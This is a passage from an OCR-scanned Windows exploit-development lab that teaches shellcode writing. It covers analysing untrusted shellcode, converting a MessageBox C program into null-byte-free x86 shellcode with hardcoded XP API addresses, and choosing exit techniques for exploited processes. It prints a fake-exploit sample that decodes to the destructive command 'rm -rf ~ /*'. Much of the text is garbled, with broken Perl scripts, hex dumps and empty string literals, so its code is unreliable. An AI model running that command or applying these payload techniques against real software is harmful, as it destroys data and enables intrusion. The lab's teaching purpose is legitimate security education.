code to execute, one time, on a specific system, then you may be able to do so with limited asm knowledge.
Writing shellcode for the Windows platform will require us to use the Windows API’s. How this impacts the
development of reliable sheilcode (or shelicode that is portable, that works across different versions/service
packs levels of the OS) will be discussed later in this decument.

Before we can get started, let’s build a little C application to test shellcode (shellcodetest.c):

1 LI

char codel] = ;
int main(int arge, ohar **argv)
int {*func) {);

func = (int (*){)} code;
(it (*func) () ;

Testing existing shellcode

Before tooking at how shellcode is built, it ts important to show some techniques to test ready-made shellcode
or test your own shellcode while you are building it.

Furthermore, this technique can be used to see what certain shellcode does before you run it yourself,

Usually, shellcode is presented in opcodes, in an array of bytes that is found for example inside an exploit
script, or generated by Metasploit.

How can we test this shellcode & evaluate what it does ?
First, we need to convert these bytes into instructions so we can see what it does.

There are two approaches to it :

» Convert static bytes/opcodes to instructions and read the resulting assembly code. The advantage is that
you don’t necessarity need to run the code to see what it really does, which is a requirement when the
shellcode is decoded at runtime.

» Put the bytes/opcodes in a simple script, see C source above, make/compile, and run through a
debugger. Make sure to set the proper breakpoints (or just prepend the code with Oxcc) so the code
wouldn’t just run. After all, you only want to figure out what the shelicode does, without having to run it
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yourself, and Imd out that it was fake and designed to destroy your system. This 1s clearly a better
method, but it is also a lot more dangerous because one simple mistake on your behalf can ruin your
system.

Approach 1 : static analysis

Example 1 :

Suppose you have found this shellcode on the internet and you want to know what it does before you run the
exploit yourself :

char shellcode{] =

Would you trust this code, just because it says that it will spawn calc.exe 7
Let’s see. Use the following script to write the opcodes to a binary file
pveWritebin.pl :

#!/usr/bin/perl

# This script takes a filename as argument

# will write bytes in \x formar to the file

#

if {S#ARGV ne 0} {

; cinfg M "oohr(34) 0" "oohr(34y." 0"
exit (0} ;

}

o/..;t,@ffi(” ”) h

my $shellcode=" "

1] n.
!

fopen file in binary mode

srint M "USARGV({OY.T
cpen (FILE, " "y

Irinmodse FILE;

25 int FILE $5hellccde;
se (PILE)

pring " ".lengtn ($shellcode) " "
Paste the shellcode into the perl script and run the script :

#!'/usr/bin/perl
# This script takes a filename as argument
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# will writs bytes
#

£ {S#ARGV ne 0) |

wrling " “oony (34) .M : TLoohe {34y 0"
§ anln{0);
i }
syvstamn (" "y

$shellcode=" ",

:n file in binary mode

i 1 "LUSARGV([O) . vy
{FPTLE, ™ ")
de FILE:;
FILE $shellcode;
s (FILE) ;
print " length($shellcode) . "

C:\shellcode>perl pveWritebin.pl c:\tmpi\shellcode.bin
Writing to c:\tmpi\shellcode.bin
Wrote 26 bytes to file

The first thing you should do, even before trying to disassemble the bytes, is look at the contents of this file.
Just looking at the file may already rule out the fact that this may be a fake exploit or not.

C:\shellcodertype c¢c:\tmp\shellcode.bin
rm -rf ~ /% 2> /dev/null &
C:\shellcode>

Alternatively, you can also use the “strings” command in linux. Write the entire shellcode bytes to a file and
then run “strings” on it :

xxxx@btd:/tmp# strings shellcode.bin
rm ~rf ~

You can also use Testival / Beta3 to evaluate shellcode as well:

Beta3 :

BETA3 --decode \x

Char 0 @0x00 does not match encoding: '
Char 37 @0x25 does not match encoding: '"
Char 38 @0x26 does not match encoding: '\n'.
Char 39 g80x27 does not match encoding: '

Char 76 #0x4C does not match encoding: '"

Char 77 @0x4D does not match encoding: '\n'.
Char 78 B0x4E does not match encoding: "
Char 111 @0xéF does not match encoding:

"
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Char 112 80x70 does not match encoding:
Char 113 @0x71 does not match encoding:

rm -rf o~

Testival can be used to actually run the shellcode — which is — of course — dangerous when you are trying to find
out what some obscure shellcode really does. ... but it still will be helpful if you are testing your own shellcode.

Example 2 :

Try this example:

# Metaspleolt generated - calc.exe - x86 - Windows XP Pro SPZ
my $shellcode="\x68\x97\x4C\x80\x7C\xB8".

"NxADAxLI I8\ RTCARFFARDO" ;

Write the shellcode to file and look at the contents :

C:\shellcode>perl pveWritebin.pl c:\tmpi\shellcode.bin
Writing to c:\tmpl\shellcode.bin
Wrote 12 bytes teo file

C:\shellcode>type c:\itmp\shellcode.bin

haLg |qM«al 4

C:\shellcode>

Let’s disassemble these bytes into instructions :

C:\shellcode>"c:\program files\nasm\ndisasm.exe” -b 32 c:\tmpishellcode.bin

00000000
00000005

68974C807C
B84D11B8GTC
0000000A FFDO

push dword 0x7c¢804c%7
mov eax, 0x7c¢c861144

call eax

You don’t need to run this code to figure out what 1t will do.

If the exploit is indeed written for Windows XP Pro SP2 then this will happen :

at 0x7¢c804c97 on XP SP2, we find (windbg output) :

0:001> d
7¢c804c97
TcB804ca’
Tc804ch™
Tc804cc™
Tc804cd?
Tc804ce’
TcB04ct?
T¢804d07

0x7c804c97

57
70
73
61
be
65
70
42

72
70
65
74
75
53
41
61

69
63
43
43
70
75
70
73

74
6f
6c
61
41
70
70
65

65
6d
65
63
70
70
63
46

00
70
61
68
70
6f
6f
6c

42
61
be
65
63
72
o6d
75

61-73
74-43
75-70
00-42
6f-bd
74-00
70-61
73-68

65
61
41
6l
70
42
74
41

43
63
70
13
6l
61
43
70

68
68
70
65
74
73
61
70

65
65
63
43
43
65
63
63

63
00
6f
6c
61
44
68
6f

e}
42
6d
65
63
75
55
6d

41
61
70
61
68
6d
00
70

Write.BaseCheckA
ppcompatCache. Ba
seCleanuphAppcomp
atCache.BaseClea
nupAppcompatCach
eSupport.BaseDum
pAppcompatCache.
BaseFlushAppcomp
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So push dword 0x7c804¢97 will push “Write” onto the stack
Next, O0x7¢861 14_d ts moved into eax and a call eax is made. At 0x7¢86114d, we find :

0:001> In O0x7c8611443

(7c86114d) kernellZ!WinExec | {7c¢c86123¢) kernel32! string'
Exact matches:

kernel32!'WinkExec =

Conclusion : this code will execute “write” (=wordpad).

If the “Windows XP Pro SP2” indicator is not right, this will happen (example on XP SP3) :

0:001> d 0x7c804c87

Tc804c87 62 4f 62 6a 65 63 74 00-41 74 74 61 63 68 43 6f DbObject.AttachCo
Tc804ca7 6e 73 6f 6c 65 00 42 61-63 6k 75 70 52 65 61 64 nsole.RackupRead
7c804ch? 00 42 61 63 6b 75 70 53-65 65 6éb 00 42 61 63 &b .BackupSesk.Back
7¢c804cc? 75 70 57 72 6% 74 65 00-42 61 73 65 43 68 8% €3 upWrite.BaseChec
T7c804cd?  o6b 41 70 70 63 6f 64 70-61 74 43 61 63 68 65 00 kAppcompatCache.,
7cB04ce? 42 61 73 65 43 6c 65 61-6e 75 70 41 70 70 63 6f BaseCleanupAppco
TcB804cE7  6d 70 61 74 43 61 63 68-65 00 42 61 73 6% 43 6c mpatlache.BaseCl
7c804d07 €5 61 6e 75 70 41 70 70-63 6f 64 70 61 74 43 61 eanupAppcompatCa
0:001> In Ox7c86114d

(7c86113a) kernel32!NumaVirtualQueryNode+0x13

| {(7c861437) kernel32!GetlogicalblriveStringsw

That doesn’t seem to do anything productive ...
Approach 2 : run time analysis

When payload/shellcode was encoded (as you will learn later in this document), or - in general — the
mnstructions produced by the disassembly may not look very useful at first sight... then we may need to take it
one step further. If for example an encoder was used, then you will very likely see a bunch of bytes that don’t
make any sense when converted to asm, because they are in fact just encoded data that will be used by the
decoder loop, in order to produce the original shellcode again.

You can try to simulate the decoder loop by hand, but it will take a long time to do so. You can also run the
code, paying attention to what happens and using breakpoints to block automatic execution (to avoid disasters).

This technique is not without danger and requires you to stay focused and understand what the next instruction
will do. So we won’t explain the exact steps to do this right now. As you go through the rest of this lab,
examples will be given to load shellcode in a debugger and run it step by step.

Just remember this :

« Disconnect from the network
« Take notes as you go
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testshellcode application (you’ll understand what we mean in a few moments)

« Don’tjust run the code. Use F7 (Immunity) to step through each instruction. Every time you see a
call/jmp/... instruction (or anything that would redirect the instruction to somewhere else), then try to
find out first what the call/jmp/... will do before you run it.

« Ifadecoder is used in the shellcode, try to locate the place where the original shellcode 1s reproduced
(this will be either right after the decoder loop or in another location referenced by one of the registers).
After reproducing the original code, usually a jump to this code will be made or (in case the original
shellcode was reproduced right after the loop), the code will just get executed when a certain compare
operation result changes to what it was during the loop. At that point, do NOT run the shellcode yet.

« When the original shellcode was reproduced, look at the instructions and try to simulate what they will
do without running the code.

« Be careful and be prepared to wipe/rebuild your system if you get compromised.

From C to Shellcode

Ok, let’s get really started now. Let’s say we want to build shellcode that displays a MessageBox with the text
“You have been pwned by InfoSec Institute”. WE know, this may not be very useful in a real life exploit, but it
will show you the basic techniques you need to master before moving on to writing / modifying more complex
shellcode.

To start with, we’ll write the code in C. For the sake of this lab, we have decided to use the lcc-win32 compiler.
Lce win32 1s available on your VM.

If you decide to use another compiler then the concepts and final results should be more or less the same.

From C o executable to asm

Source {infosec.c) :

#include <windows.h>

int main(int argce, char** argv)

{
MessageBox (NULL,

MB_OK) ;

Make & Compile and then run the executable.
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Note : As you can see, we used lec-win32. The user32.dll library (required for MessageBox) appeared to get
loaded automatically. If you use another compiler, you may need to add a LoadLibraryA(“user32.d11™); call to

make it work.

Open the executable in the decompiler, IDA and load the PE Executable. After the analysis has been completed,

this is what you’H get :

1 1 i1
1 1 i1
] ' i1
¥ 3 i

;00401204

:004012D4 ;
:004012D4
100401204
: 00401204
;00401204
= 00401205
00401207
:004012D9
c:004012DE
: 00401283
:004012E5
:004012EA
:004012EF
:004012FC
:004012F0
:004012F0
:004012F0 ;

_main

004012Db4 /S 55
004012D5 |. B9ES
00401207 |, 6A 0C

MB OKIMB_APPLMODAL
00401202 |. 68 A(0404000

"

004012DE |. 68 A8404000

0C4012E3 . 6A 00

I
1
i
1

I
1
1
1

1
]
¥
I

r
t
i
1

Attributes:

vt SUBROUTW®WENE
i1 1 3 1
[ ] 1 3 I

1 ¥ 1 1
1 3 i 1

bp~based frame

public main
Proc near

push ebp

mowv ebp, esp

push 0

push offset Caption
push offset Text
push 0

call MessageBoxARL6
mov eax, O

leave

retn

endp

PUSH ERBP

MOV EBP,ESP

PUSH O

004040A0

PUSH infosecl.

PUSH infosecl.(0404028

PUSH 0

1

’

CODE XREF: _mainCRTStartup+92p

uType
L4

Ll

hWnd
MessageBoxA (%, %, X, X}

;5 /8tyle =

; {Title = ™

; [Text = "

; |hOwner = NULL
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0040125 {. E8 3A020000 CALL <JMP.&USER32.MessageBoxA> ; \MessageBoxA
00401.2EA |. B8 00000000 MOV EAX, 0

004012EF |. C9 LEAVE

004012F0 N\. C3 RETN

Ok, what do we see here 7

1. the push ebp and mov ebp, esp instructions are used as part of the stack set up. We may not need them in our
shellcode because we will be running the shellcode inside an already existing application, and we’ll assume the
stack has been set up correctly already. (This may not be true and in real life you may need to tweak the
registers/stack a bit to make your shellcode work, but that’s out of scope for now)

2. We push the arguments that will be used onto the stack, in reverse order. The Title (Caption) (0x004040A0)
and MessageBox Text (0x004040A8) are taken from the .data section of our executable:

o :  FE header

ge1008 covrelanl Jten P sode
aa1aos corelan] !
jcorelanld I _ 5
3 relanl c gt aq Bl Copylnldy
covrelanl * :

L

| E N : e , the
Button Style (MB_OK) and hOwner are just 0.

3. We call the MessageBoxA Windows API (which sits in user32.dll) This API takes its 4 arguments from the
stack. In case you used lec-win32 and didn’t really wonder why MessageBox worked : You can see that this
function was imported from user32.dll by looking at the “Imports” section in IDA. This is important. We will
talk about this later on.

k2% Imports

o by

Addiess [ Ordinal [ Nome

5 004050E8 “Rtlrwind KERNEL32

e 00405054 MessageBonh USER32

B 00405100 _ich CRTDLL
00405104 _itoa CRTDLL

by ANE1G0 (b d v toren CoT |

Alternatively, look at MSDN — you can find the corresponding Microsoft library at the bottom of the function
structure page

4. We clean up and exit the application. We’ll talk about this later on.

In fact, we are not that far away from converting this to workable shellcode. If we take the opcode bytes from
the output above, we have our basic shellcode. We only need to change a couple of things to make it work :

« Change the way the strings (“InfoSec Institute” as title and “You have been pwned by InfoSec Institute”
as text) are put onto the stack. In our example these strings were taken from the .data section of our C
application. But when we are exploiting another application, we cannot use the .data section of that
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particular application (bccause it w111 contain something else). So we need to put the text onto the stack
ourseives and pass the pointers to the text to the MessageBox A function.

» Find the address of the MessageBoxA API and call it directly. Open user32.dll in IDA Free and look at
the functions. On my XP SP3 box, this function can be found at 0x7E4507EA. This address will (most
likely) be different on other versions of the OS, or even other service pack levels. We’ll talk about how

to deal with that later in this document.

[ Fustctions windaw 00008

Furchon owaness Seqrvant Stait

"; WS ervealosdlreateterad s v ) lawt TE4501%
¥R AR A ) et AN L2
"'\'\\rcn‘/sfi'-t‘li.ﬂdd:r&&ccu:b:dEn','-‘l]:\(&x,\:J{:wtx‘ tud EAENLEE
o Dermbeyficacdr tedd PR4SOZE
ot Mg st el ) et TEABTRE
0 BernT ol har Buifiin tent 7F 450258
"_»‘," Getevndbech Hak [ venzannsl} Lot TE4EQFS
1 LB PrewC etk kx x . v) tet 7E450316
Mo wod Bliravd Bltemiy x » x x| Tt TE4S044D
i LG e ) tet TEASDE 4
“\lj ool B GelBrus x) texd ZEAS0ERE
ol @ BrowsenchStiralc x| tezl 7EASOGEA
i GaieatelocaEntid 612 fefs) ) TEAROTE 4
Yo BlonvedMetafdoPuctid et RSB

MecsanrBornali ) dowt  TEASOTEA

~' st aupt 8 Gl AT x n i) o ZEE5083R
e MesrooeBlord wif ¢ w2l 1exl TEASEESE

So a CALL to O0x7E4507EA will cause the MessageBoxA function to be launched, assuming that user32.dli was
loaded/mapped in the current process. We'll just assume it was loaded for now — we’ll talk about loading it

dynamically later on.

Converting asm to shellcode : Pushing strings to the stack & returning pointer to the strings

I. Convert the string to hex

2. Push the hex onto the stack (in reverse order). Don’t forget the null byte at the end of the string and make
sure everything 1s 4 byte aligned (so add some spaces if necessary)

The following little script will produce the opcodes that will push a string to the stack (pvePushString.pl) :

#!/usr/bin/perl

# This script takes a string as argument
# and will produce the opcodes

# to puszh this string onto the stack

#

(SHARGV ne 0) {

Lo " Moo (34y .

wuin (0);
}
fconvert string to bytes
my SstrToPush=$ARGVI[0]);
$strThisChar="";
SstrThisHex="";
Sent=0;

¥ $Shytecnt=0;

s SstrHex="";

¢ SstrOpcodes="";

A A

PLonz (34).00";
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vy $strPush="";
in M ", lengun{S$strToPush)."” ";

i

%hile {Sent < lengrh($strToPush))

{
$strThisChar=subatr{S$strToPush, Sent, 1)
$strThisHex=" ".ascli to_hex($strThisChar};
i¥ ($bytecnt < 3)
{
$strHex=38strHex.$strThisHex;
$hbytecnt=Shytecnt+l;

SstrPush = $strHex.SstrThisHex;

SstrPush =~ tr/\\x

SstrHex=ahr (34 .7 " SstrHex.S$strThisHex.ohy (34) .

" "L oaub (SstrPush, 6, 2) .subatr{$strPush, 4,2} .
substr (SstrPush, 2,2) . substr (SstrPush,0,2);

$strQOpcodes=$strHex. " *.$strOpcodes;
SstrHex="";

Shytecnt=0;

)

Scnt=Scnt+l;

)
#last line
(

Fon il

Lt (length($strHex) > 0}
while(langhn ($SstrHex) < 12}
{
SstrHex=%strHex." ";
}

S$strPush = SstrHex;

$strPush =~ tr/\\x

SstrHex=chz (34) ." ".S$strHex." "ol (34) .M ",
substr(SstrPush, 4,2) .substr($strPush,2,2) . substr{$strPush, 0,2},
Sstropcodes=$strHex."™ ".$strOpcodes;

LS

-

P, T

fadd line with spaces + null byte (string terminator}
$strOpcedes=chr (34) .7 "Lohr(34) .
" "t " SstrOpcodes;

print $strOpcodes;

sub ascii to hex ({3)

: $str = ahifn) =~ s/(.1\n)/sprintf (" ",oord $1)/eg;
vy S$str;

Example :

C:\shellcoderperl pvePushString.pl
usage: pvePushString.pl " "
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C:\shellcode>per] pvePushString.pl "
String lenguh o 7
Opcodes to push thils string onto the stack

1 1]

C:\shéllcode>perl pvePushString.pl
String l=angth 30
Opcodes to push this string onto the stack

Just pushing the text to the stack will not be enough. The MessageBoxA function (just like other windows API

functions) expects a pointer to the text, not the text itself.. so we’ll have to take this into account. The other 2
parameters however (h£WND and Buttontype) should not be pointers, but just 0. So we need a different
approach for those 2 parameters.

int MessageBox(
HWND hWnd,
LPCTSTR lpText,
LPCTSTR lpCaption,
UINT uType

)

Note: The hWnd and uType are values taken from the stack, IpText and IpCaption are pointers to strings.
Converting asm to shellcode : pushing MessageBox arguments onto the stack
This is what we wiil do :
 Put our strings on the stack and save the pointers to each text string in a register. So after pushing a
string to the stack, we will save the current stack position in a register. We’ll use ebx for storing the

pointer to the Caption text, and ecx for the pointer to the messagebox text, Current stack position =
ESP. So a simple mov ebx,esp or mov ecx,esp will do.

» Set one of the registers to 0, so we can push it to the stack where needed (used as parameter for h'WND

and Button). Setting a register to 0 is as easy as performing XOR on itself (xor eax,ecax)

» Put the zero’s and addresses in the registers (pointing to the strings) on the stack in the right order, in the

right place
» Call MessageBox (which will take the 4 first addresses from the stack and use the content of those
registers as parameters to the MessageBox function)
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Apparently the parameters are taken from a location referred to by an offset from EBP (between EBP+8 and
EBP+14). And EBP is populated with ESP at 0x7E4507ED. So that means we need to make sure our 4
parameters are positioned exactly at that location. This means that, based on the way we are pushing the strings
onto the stack, we may need to push 4 more bytes to the stack before jumping to the MessageBox API.
Converting asm to shellcode : Putting things together

Ok, here we go :

char code[}l =
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Note : you can get the opcodes for simple instructions using the !pvefindaddr PyCommand for Immunity
Debugger.

Example :

REELing s B tabie » pleats wait...
LT LIRS ] KA ANR RN ERHRHNEHRENN

I W ssemble xor eax,eax]

Alternatively, you can use nasm_shell from the Metasploit tools folder to assemble instructions into opcode

xxxx@bt4:/pentest/exploits/framework3/tools$ ./nasm shell.rb

nasm > X0r eax,eax
000060000 31cCO XOr eax,ecax
nasm > guit

Back to the shellcode. Paste this ¢ array in the “shelicodetest.c” application (see earlier in the lab), make and
compile.
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Then load the shellcodetest.exe application in Immunity Debugger and set a breakpoint where the main()
function begins (in my case, this is 0x004012D4). Then press F9 and the debugger should hit the breakpoint.
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Now step through (F7), and at a certain point, a call to [ebp-4] is made. This is the call to executing our
shellcode ~ corresponding with the (int)(*func)(); statement in our C source.

Right after this call is made, the CPU view in the debugger looks like this :
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PUSH EEGIEC
PUSH £&726F42
HOUW EBX,ECP
FUSH 206E61
PUSH &CeLFe6F
PUSH 43207962
PUSH 2064656E
PUSH ?PPPazaceE
bfac&?“u
65766168
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This is indeed our shellcode. First we push “InfoSec Institute” to the stack and we save the address in EBX.
Then we push the other string to the stack and save the address in ECX.

Next, we clear eax (sct cax to 0), and then we push 4 parameters to the stack : first zero (push eax), then pointer
to the Title (push ebx), then pointer to the MessageText (push ecx), then zero again (push eax). Then we push
another 4 bytes to the stack (alignment), Finally we put the address of MessageBoxA into ESI and we jump to

ESL

Press F7 until JMP ESI is reached and executed. Right after JMP ESI is made, look at the stack.

That is exactly what we expected. Continue to press F7 until you have reached the CALL
USER32.MessageBoxEXA instruction, just after the 5 PUSH operations, which push the parameters to the
stack. The stack should now (again) point to the correct parameters)

Press F9 and you should get the shellcode to work.

Excellent ! Qur shelicode works !

Another way to test our shellcode is by using skylined’s “Testival” tool. Just write the shellcode to a bin file
(using pveWritebin.pl), and then run Testival. We’ll assume you have written the code to shelicode.bin :
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w3Z-testival [$]=ascii:shelicode.bin eip=$

Don’t be surprised that this command will just produce a crash — We will explain why that happens in a little
while.

That was easvy. So that’s all there’s to it ?

Unfortunately not. There are some MAJOR issues with our shellcode -

1. The shellcode calls the MessageBox function, but does not properly clean up/exit after the function has
been called. So when the MessageBox function returns, the parent process may just die/crash instead of
exiting properly (or instead of not crashing at all, in case of a real exploit). Ok, this is not a major issue,
but it still can be an issue.

2. The shellcode contains null bytes. So if we want to use this shellcode in a real exploit, that targets a
string buffer overflow, it may not work because the null bytes act as a string terminator. That is a major
issue indeed.

3. The shellcode worked because user32.dll was mapped in the current process. If user32.dll is not loaded,
the APl address of MessageBoxA won't point to the function, and the code will fail. Major issue —
showstopper.

4. The shellcode contains a static reference to the MessageBox A function. If this address is different on
other Windows Versions/Service Packs, then the shellcode won’t work. Major issue again —
showstopper.

- Number 3 is the main reason why the w32-testival command didn’t work for our shellcode. In the w32-testival
- process, user32.dll 1s not loaded, so the shellcode fails.

 Shelicode exitfune

~ In our C application, after calling the MessageBox AP, 2 instructions were used to exit the process : LEAVE

and RET. While this works fine for standalone applications, our shellcode will be injected into another

"+ application. So a leave/ret after calling the MessageBox will most likely break stuff and cause a “big” crash.

* There are 2 approaches to exit our shellcode : we can either try to kill things as silently as we can, but perhaps

we can also try to keep the parent (exploited) process running... perhaps it can be exploited again.

Obviously, if there is a specific reason not to exit the shellcode/process at all, then feel free not to do so.

- We'll discuss 3 techniques that can be used to exit the shellcode with :

» Process : this will use ExitProcess()

« SEH: this one will force an exception call. Keep in mind that this one might trigger the exploit code to
run over and over again (if the original bug was SEH based for example)

o Thread : this will use ExitThread()
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Obviously, none of these techmqucs ensures that the parent process won’t crash or will remain exploitable once
it has been exploited.

ExitProcess{}

This technique is based on a Windows API calied “ExitProcess”, found in kernel32.dll. One parameter : the
ExitProcess exitcode. This value (zero means everything was ok) must be placed on the stack before calling the
AP

On XP SP3, the ExitProcess() API can be found at O0x7c81cbl12.

il oIDA - CAWINDOWS system32\kernel32db (kerneld2dily - - - -
Fle Edk “fuwp Search View -Debugger Options Windows Help =~ 0

g@'g“'%*#‘.’“" { %%%H‘;ﬁ 1 Teu | 1 i
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Funchin pame - oo oo | Seament o Slet ] Lenghy . | B
' BaseD 0 penbdapping¥ agelfax e x] Jtest TCBICEI3 GAGBME2 R
,_J,BaseDIHeadvfanabie’l/alue 2,200 et TEEICTFA  D0001A8 1
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™3 LS hadownProcsss] Lext JEHCB20 506006 B

So basically in order to make the shellcode exit properly, we need to add the following instructions to the
bottom of the shellcode, right after the call to MessageBox was made :

XOr eax, eax ; zero out eax (NULL)}
push eax ; put zero to stack (exitcode parameter)
mov eax, Ox7c¢8lcbhbl?2 ; ExitProcess {exitcode)

call eax ; exit ¢leanly

Or, in byte/opcode :

Again, we’ll just assume that kernel32.dl] is mapped/loaded automatically (which will be the case — see later),
50 you can just call the ExitProcess API without further ado.
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SEH

A second technique to exit the shellcode (while trying to keep the parent process running) is by triggering an
exception (by performing call 0x00) — something like this :

XOr eax,eax
call eax

While this code 1s clearly shorter than the others, it may lead to unpredictable results. [f an exception handler is
set up, and you are taking advantage of the exception handler in your exploit (SEH based exploit), then the
shellcode may loop. That may be ok in certain cases (if, for example, you are trying to keep a machine
exploitable mstead of exploit it just once)

ExitThread()

The format of this kernel32 API can be found at hitp://msdn.microsoft.com/en-
us/iibrary/ms68205HVS.85).aspx. As you can see, this API requires one parameter © the exitcode (pretty much
like ExitProcess(})

Instead of looking up the address of this function using IDA, you can also use arwin.c, a little script available on
the desktop of your VM.

A waming, function names are case sensitive!

C:\shellcode\arwin>arwin kernel32.dll ExitThread
arwin - win32 address resolution program - by steve hanna - v.(0l
ExitThread is located at O0x7¢B80c0f8 in kernel32.dll

So simply replacing the call to ExitProcess with a call to ExitThread will do the job.

Extracting functions/exports from dll files

As explained above, you can use IDA or arwin to get functions/function pointers. If you have installed
Microsoft Visual Studio C++ Express, then you can use dumpbin as well. This command line utility can be
found at C:\Program Files\Microsoft Visual Studio 9.0\WCibin. Before you can use the utility you'll need to get
a copy of mspdb80.dll (download here: http://www.dll-files.com/dllindex/dll-files.shtml?mspdb80) and place it

in the same bin folder.
You can now list all exports (functions) in a given dll :  dumpbin path to_dli /exports

dumpbin.exe c:\windows\system32i\kernel32.dll /exports

Populating all exports from all dlis in the windows\system32 folder can be done like this :
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rem Will list all exports from all dlis in the

rem %systemroot%\system3? and write them to file
rem

fecho off

cls

echo Exports » exports.log

for /f %%a IN ('dir /b %systemrcot®\system32\*.dll")

Qo

do echo [+] Processing %%a &&
dumpbin %$systemroot%\system32\%%a /exports
>> exports.log

Put everything after the “for /f” statement on one line - we just added some line breaks for readabihity
purposes.

Save this batch file in the bin folder. Run the batch file, and you will end up with a text file that has all the
exports in all dlls in the system32 folder. So if you ever need a certain function, you can simply search through
the text file. Keep in mind, the addresses shown in the output are RV A (relative virtual addresses), so you'll
need to add the base address of the module/dll to get the absolute address of a given function.

Sidenote : using nasm to write / generate shellcode

In the previous chapters we went from one line of C code to a set of assembler instructions. Once you start to
become familiar to these assembler instructions, it may become easier to just write stuff directly in assembly
and compile that into opcodes, instead of resolving the opcodes first and writing everything directly in
opcode... That’s way to hard and there is an easier way :

Create a text file that starts with [BITS 32] . Don’t forget this or nasm may not be able to detect that it needs to
compile for 32 bit CPU x86, followed by the assembly instructions, which could be found in the
disassembly/debugger output:

[BITS 32}
PUSH 0x006e61061 Jeush ! " to stack
PUSH 0x61716a4dl
MOV EBX,ESP ;save pointer to " in EBX
PUSH 0x0020¢6e6l joush M i
PUSH (Qxec65726€

O0x43207962

0x2064656e

1 0x7770206¢e

0x65656220

MOV EC¥,ESP ;save peointer to . " in ECX

XOR EAX, EAX

PiUSH EAX ;put parameters on the stack
EBX

ECX

EAX

MOV ESI, 0xTE4507EA
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JMP EST ;MessageBoxA

XOR EAX, EARX ;clean up
PG BAX

MOV EAX,O0x7¢B81CB12

JMP EAX ;ExitProcess {(0)

Save this file as msgbox.asm

Compile with nasm :

C:\shellcode>" " msghbox.asm -0 msgbox.bin

Now use the pveReadbin.pl script to output the bytes from the bin file in C format:

#!/usr/bin/perl

# This script takes a filename as argument
# will read the file

# and ocutput the bytes in \x format

#

LE [S#ARGV ne 0} ¢

print " vochr (34 0" “Lohr{34)y." ";
exic (0);

}

#open file in binary mode

print M "USARGVICGT.Y

a1 (FILE, SARGVI[O0]);

: ie FILE;

my (Sdata, S$n, $of

SstrContent="";

my scnt=0;

while (($n = vead FILE, S$data, 1, Sofiset) != ) |
$ofiaet += Sn;

}

close{FILE)

SstrContent);

m} $nullbyte=0;
print ohr (34):
for ($we=0; Swe < (length{$datal); Swe++)

{
my $¢ o= subatyr ($data, $we, 1):
$strl = sprintf(” ", ({ord(Sc) & OxIO) >> 4) & Ox0L5);
$str2 = sprintf (" ", ord($c)r & Ox0f);
{(Scnt < 8) :

{

RNV Y.Sstrl.Sstri;

Scnt=Scnt+1;
}
{

Scnt=1;

N amr {34y . Lok (34) 00 ".Sstrl.Sstr2;
}
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1Y {{$strl eg " M) && ($str2 eg " "))

Snullibyte=$nullbyte+l:;

ohr {34y 0" "
" " ) Snullbyte.“ n;

Output :

C:\shellcode>pveReadbin.pl msghox.bin
Reading msgbox.bin
Read 78 bytes

Number of null bytes : 2

Paste this code in the C “shellcodetest” application, make/compile and run :

Ah — ok — that is a lot easier.
From this point forward in this lab, we’ll continue to write our shellcode directly 1n assembly code. If you were

having a hard time understanding the asm code above, then stop reading now and go back. The assembly used
above is really basic and it should not take you a long time to really understand what it does.

Dealing with null b\ﬁes

When we look back at the bytecode that was generated so far, we noticed that they all contain nuli bytes. Null
bytes may be a problem when you are overflowing a buffer, that uses null byte as string terminator. So one of
the main requirements for sheflcode would be to avoid these null bytes.

There are a number of ways to deal with null bytes : you can try to find alternative mstructions to avoid null
bytes in the code, reproduce the original values, use an encoder, etc

Alternative instructions & instruction encoding

At a certain point in our example, we had to set eax to zero. We could have used mov eax,0 to do this, but that
would have resulted in “\xc7xc0x 000000\ 00™. Instead of doing that, we used “xor eax,eax”. This gave us
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the same result and the opcodc docs not contain null bytes. So anc of the techniques to avoid null bytes is to
look for alternative instructions that wilt produce the same result.

In our example, we had 2 null bytes, caused by the fact that we needed to terminate the strings that were pushed
on the stack. Instead of putting the null byte in the push instruction, perhaps we can generate the null byte on
the stack without having to use a null byte.

This 1s a basic example of what an encoder does, It will, at runtime, reproduce the original desired
values/opcodes, while avoiding certain characters such as null bytes.

- There are 2 ways to fixing this null byte issue : we can either write some basic instructions that will take care of

the 2 null bytes (basically use different instructions that will end up doing the same), or we can just encode the
entire shellcode.

We’ll talk about payload encoders (encoding the entire shellcode) in one of the next chapters, let’s look at
© manual mstruction encoding first.

Our example contains 2 instructions that have null bytes :
"x68w6c\x6 1\ x6ex00"

and

"x68%61\x6e\x20\x 00"

- How can we do the same (get these strings on the stack) without using null bytes in the bytecode ?

~ Solution 1 : reproduce the original value using add & sub

. What if we subfract 11111111 from 006E616C (= EF5D505B) , write the result to EBX, add 11111111 to EBX
~ and then write it to the stack 7 No null bytes, and we still get what we want.

 So basically, we do this

» Put EF5D505B in EBX
e Add1IITI111to EBX
+ push ebx to stack

* Do the same for the other null byte (using ECX as register)

- In assembly :

[BITS 32]

' XOR EAX, EAX
. MOV EBYX, OxEFS5D505B

Copyrigl



ADD EBX,0x11111111 ;add 11111111

;EBX now contains laut part of "
t EBX sk it to the stack
& I O0x65726£43
MOV EBX, RSP ;save pointer to " " in EBX

MOV ECX, GXEFOF5HD50
ADD ECX,0x11111111
PUZH ECX
0x6cb6b726f
0x43207962

S 0x2064656e
0x7770206e
0265656220
0x65766168
0x20756£59

- MOV ECX,ESP ;save pointer te " " in ECX

PUSH EAX ;put parameters on the stack
FUSH EBX
©PULH ECX
PUISH EAX
. FUSH EAX

MOV ESI,Ox7E4507EA

JMP ESI ;MessageBoxA
¥XOR EAX, EAX ;clean up

PUSH EAX

MOV BEAX,0x7¢81CB12

JMP EAX ;ExitProcess (0}

Of course, this increases the size of our shellicode, but at least we did not have to use null bytes.

After compiling the asm file and extracting the bytes from the bin file, this is what we get :

C:\shellcode>perl pveReadbin.pl msghoxZ.bin
Reading msgbox2.bin
Read 92 bytes

" L1
I

Number of null bytes : 0
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To prove that it works, we’ll load our custom shellcode in a regular exploit, {on XP SP3, in an application that
has user32.dll loaded aiready)... an application such as Fasy RM to MP3 Converter for example. (remember lab
17

A similar technique (to the one explained here) is used in in certain encoders. .. If you extend this technique, it
can be used to reproduce an entire payload, and you could limit the character set to for example alphanumerical

characters only.

There are many more techniques to overcome null bytes :

Solution 2 : sniper : precision-null-byte-bombing

A second technique that can be used to overcome the null byte problem in our shellcode is this :

» Put current location of the stack into ebp

« Set a register to zero

«  Write value to the stack without null bytes (so replace the null byte with something else)

» Overwrite the byte on the stack with a null byte, using a part of a register that already contains null, and
